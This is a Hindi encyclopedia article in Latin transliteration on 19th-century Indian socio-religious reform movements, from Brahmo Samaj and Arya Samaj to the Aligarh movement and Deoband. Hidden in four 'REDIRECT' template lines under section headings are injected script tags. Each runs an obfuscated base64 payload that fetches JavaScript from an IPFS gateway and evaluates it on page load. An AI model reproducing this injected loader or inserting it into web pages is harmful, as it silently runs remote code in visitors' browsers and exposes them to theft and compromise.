सामाजिक-धार्मिक सुधार आन्दोलन

19vian sadi ko bharat mean dharmik evan samajik punarjagaran ki sadi mana gaya hai. is samay eest indiya kampani ki pashchaty shiksha paddhati se adhunik tatkalin yuva man chintanashil ho utha, tarun v vriddh sabhi is vishay par sochane ke lie majaboor hue. yadyapi kampani ne bharat ke dharmik mamaloan mean hastakshep ke prati sanyam ki niti ka palan kiya, lekin aisa usane apane rajanitik hit ke lie kiya. pashchaty shiksha se prabhavit logoan ne hindoo samajik rachana, dharm, riti-rivaj v paramparaoan ko tark ki kasauti par kasana arambh kar diya. isase samajik v dharmik andolan ka janm hua. aangrez hukoomat mean sadiyoan ki roodhiyoan se jarjar evan aandhavishvas se grast audyogiki nagar kalakatta, mumbee, kanapur, lahaur evan madras mean samyavad ka prabhav kuchh adhik raha. bharatiy samaj ko punarjivan pradan karane ka prayatn prabuddh bharatiy samajik evan dharmik sudharakoan, sudharavadi british gavarnar-janaraloan evan pashchaty shiksha ke prasar ne kiya.

navajagaran ki shuruat

bharat mean british satta ke pair jamane ke bad yahaan ka janamanas pashchaty shiksha evan sanskriti ke sampark mean aya, parinamasvaroop navajagaran ki shuruat huee. bharatiy samaj ki aantarik kamazoriyoan ka paksh ujagar hua. aangrezi shiksha ne bharat ke dharmik evan samajik kshetr mean mahattvapoorn parivartan kiya. aangrezi shiksha v sanskriti ka prabhav sarvapratham bharatiy madhyam varg par p da. tatkalin bharatiy samaj mean vyapt kuritiyoan evan vahm adambaroan ko samapt karane mean pashchaty shiksha ne mahattvapoorn yogadan diya. is shiksha ke prabhav mean akar hi bharatiyoan ne videshi sabhyata aur sahity ke bare mean dher sari janakariyaan ekatr kian tatha apani sabhyata se unaki tulana kar sachchaee ko jana. prarambh mean arthath 1813 ee. tak kampani prashasan ne bharat ke samajik, dharmik evan saanskritik mamaloan mean ahastakshep ki niti ka palan kiya, kyoanki ve sadaiv is bat se sashankit rahate the ki, in mamaloan mean hastakshep karane se roodhivadi bharatiy log kampani ki satta ke lie khatara utpann kar sakate haian. parantu 1813 ee. ke bad british shasan ne apane audyogik hitoan evan vyaparik labh ke lie simit hastakshep prarambh kar diya, jisake parinamasvaroop kalantar mean samajik evan dharmik sudhar aandolanoan ko janm hua. 'higal' ke matanusar-"punarjagaran ke bina koee bhi dharm sambhav nahian."

hindoo sudhar andolan

isake aantargat hindoo dharm tatha samaj mean sudhar hetu kee andolanoan ko chalaya gaya, jinamean se kuchh is prakar se haian-

brahmasamaj

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brahmasamaj hindoo dharm se sambandhit pratham dharm-sudhar andolan tha. isake sansthapak raja ramamohan ray the, jinhoann 20 agast, 1828 ee. mean isaki sthapana kalakatta (vartaman kolakata) mean ki thi. isaka mukhy uddeshy tatkalin hindoo samaj mean vyapt buraeeyoan, jaise- sati pratha, bahuvivah, veshyagaman, jativad, asprishyata adi ko samapt karana. raja ramamohan ray ko bharatiy punarjagaran ka pita mana jata hai. raja ramamohan ray pahale bharatiy the, jinhoanne samaj mean vyapt madhyayugin buraeeyoan ko door karane ke lie andolan chalaya. devendranath taigor ne bhi brahmasamaj ko apani sevaean pradan ki thian. unhoanne hi keshavachandr sen ko brahmasamaj ka achary niyukt kiya tha. keshavachandr sen ka bahut adhik udaravadi drishtikon hi age chalakar brahmasamaj ke vibhajan ka karan bana. raja ramamohan ray ko bharat mean patrakarita ka agradoot mana jata hai. inhoanne samachar-patroan ki svatantrata ka samarthan kiya tha. bharat ki svatantrata ke bare mean unaka mat tha ki, bharat ko turant svatantrata n lekar prashasan mean hissedari lena chahie.

adi brahmasamaj

adi brahmasamaj ki sthapana brahmasamaj ke vibhajan ke uparant achary keshavachandr sen dvara ki gee thi. adi brahmasamaj ki sthapana kalakatta (vartaman kolakata) mean huee thi. brahmasamaj ka 1865 ee. mean vikhandan ho chuka tha. keshavachandr sen ko devendranath taigor ne achary ke pad se hata diya. phalatah keshavachandr sen ne 'bharatiy brahm samaj' ki sthapana ki, aur is prakar poorv ka brahmasamaj 'adi brahmasamaj' ke nam se prasiddh hua.

prarthana samaj

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prarthana samaj ki sthapana varsh 1867 ee. mean bambee (maharashtr) mean achary keshavachandr sen ki prerana se mahadev govind ranade, d aau. atmaram paandurang, chandravarakar adi dvara ki gee thi. ji.ar. bhandarakar prarthana samaj ke agrani neta the. prarthana samaj ka mukhy uddeshy jati pratha ka virodh, stri-purush vivah ki ayu mean vriddhi, vidhava-vivah, stri shiksha adi ko protsahan pradan karana tha.

ary samaj

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

10 aprail sanh 1875 ee. mean bambee mean dayanand sarasvati ne 'ary samaj' ki sthapana ki. isaka uddeshy vaidik dharm ko punah shuddh roop se sthapit karane ka prayas, bharat ko dharmik, samajik v rajanitik roop se ek sootr mean baandhane ka prayatn, pashyaty prabhav ko samapt karana adi tha. 1824 ee. mean gujarat ke mauravi namak sthan par paida hue svami dayanand ko bachapan mean ‘moolashankar’ ke nam se jana jata tha. 21 varsh ki avastha mean moolashankar ne grih tyag kar ghumakk doan ka jivan svikar kiya. 24 varsh ki avastha mean unaki mulakat dandi svami poornanand se huee. inhian se sannyas ki diksha lekar moolashankar ne dand dharan kiya. diksha pradan karane ke bad dandi svami poornanand ne moolashankar ka nam 'svami dayanand sarasvati' rakha.

ramkrishna mishan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'ramkrishna mishan' ki sthapana svami vivekanand ne 1 mee, 1897 ee. mean ki thi. unaka uddeshy aise sadhuoan aur sannyasiyoan ko sangathit karana tha, jo ramkrishna paramahans ki shikshaoan mean gahari astha rakhean, unake upadeshoan ko janasadharan tak pahuancha sakean aur santapt, du:khi evan pi dit manav jati ki ni:svarth seva kar sakean. 1893 ee. mean svami vivekanand ne shikaango mean huee dharm sansad mean bhag lekar pashchaty jagat ko bharatiy sanskriti evan darshan se avagat karaya. dharm sansad mean svami ji ne apane bhashan mean bhautikavad evan adhyatmavad ke madhy santulan banane ki bat kahi. vivekanand ne poore sansar ke lie ek aisi sanskriti ki kalpana ki, jo pashchimi deshoan ke bhautikavad evan poorvi deshoan ke adhyatmavad ke madhy santulan banane ki bat kar sake tatha sampoorn vishv ko khushiyaan pradan kar sake.

thiyosofikal sosaiti

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'thiyosofikal sosaiti' ki sthapana varsh 1875 ee. mean nyooy aaurk (sanyukt rajy amarika) mean tatha isake bad 1886 ee. mean adayar (chennee, bharat) mean ki gee thi. isake sansthapak 'maidam helana petrovana vlavatsaki' evan 'karnal henari stil aaulkat' the. thiyosofikal sosaiti ka mukhy uddeshy dharm ko adhar banakar samaj seva karana, dharmik evan bhaeechare ki bhavana ko phailana, prachin dharm, darshan evan vijnan ke adhyayan mean sahayog karana adi tha. bharat mean isaki vyapak gatividhiyoan ko sucharoo roop se chalane ka shrey eni beseant ko diya jata hai.

yang bangal andolan

yang bangal andolan ki sthapana varsh 1828 ee. mean bangal mean ki gee thi. isake sansthapak 'henari vivinay derojiyo' (1809-1831 ee.) the. is andolan ka mukhy uddeshy pres ki svatantrata, zamiandaroan dvara kiye ja rahe atyacharoan se raiyyat ki sanraksha, sarakari naukariyoan mean ooanche vetanaman ke antargat bharatiy logoan ko naukari dilavana tha. eangloan-iandiyan derojiyo ‘hindoo k aaulej’ mean adhyapak the. ve fraans ki mahanh kraanti se bahut prabhavit the.

muslim sudhar andolan

muslim samaj tatha islam dharm mean sudhar ke lie gaye andolan is prakar se the-

aligadh andolan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'aligadh andolan' ki shuruat aligadh (uttar pradesh) se huee thi. is andolan ke sansthapak sar saiyyad ahamad khaan the. sar saiyyad ahamad khaan ke atirikt is andolan ke any pramukh neta the- najir ahamad, chirag ali, altaph husain, maulana shibali nomani adi. dilli mean paida hue saiyyad ahamad ne 1839 ee. mean eest iandiya kampani mean naukari kar li. kampani ki nyayik seva mean kary karate hue 1857 ee. ke vidroh mean unhoanne kampani ka sath diya. 1870 ee. ke bad prakashit 'dablyoo. hantar' ki pustak 'indiyan musalaman' mean sarakar ko yah salah di gee thi ki ve musalamanoan se samajhauta kar tatha unhean kuchh riyayatean dekar apani or milaye.

vahabi andolan

vahabi andolan 1830 ee. se prarambh hokar 1860 ee. chalata raha tha. itane lambe samay tak chalane vale 'vahabi andolan' ke pravartak rayabareli ke 'saiyyad ahamad' the. yah vidroh mool roop se muslim sudharavadi andolan tha, jo uttar pashchim, poorvi bharat tatha madhy bharat mean sakriy tha. saiyyad ahamad islam dharm mean hue sabhi parivartanoan tatha sudharoan ke viruddh the. unaki ichchha hajarat mohammad ke samay ke islam dharm ko pun:sthapit karane ki thi.

ahamadiya andolan

ahamadiya andolan ki sthapana varsh 1889 ee. mean ki gee thi. isaki sthapana guradasapur (panjab) ke 'kadiya' namak sthan par ki gee. isaka mukhy uddeshy musalamanoan mean islam dharm ke sachche svaroop ko bahal karana evan muslimoan mean adhunik audyogik aur takaniki pragati ko dharmik manyata dena tha. ahamadiya andolan ki sthapana 'mirza gulam ahamad' (1838-1908 ee.) dvara 19vian shatabdi ke aant mean ki gee thi.

devaband skool

devaband skool ki sthapana muhammad qasim nanautvi (1832-1880 ee.) evan rashid ahamad gangohi (1828-1905 ee.) dvara ki gee thi. is skool ki shuruat 1866-1867 ee. mean devaband, saharanapur (uttar pradesh) se ki gee thi. isaka mukhy uddeshy muslim sampraday ke lie dharmik neta taiyar karana, vidyalay ke pathyakramoan mean aangrezi shiksha evan pashchimi sanskriti ko pratibandhit karana, muslim sampraday ka naitik evan dharmik punaruddhar karana tatha aangrez sarakar ke sath asahayog karana tha.

1. REDIRECTsaancha:inhean bhi dekhean

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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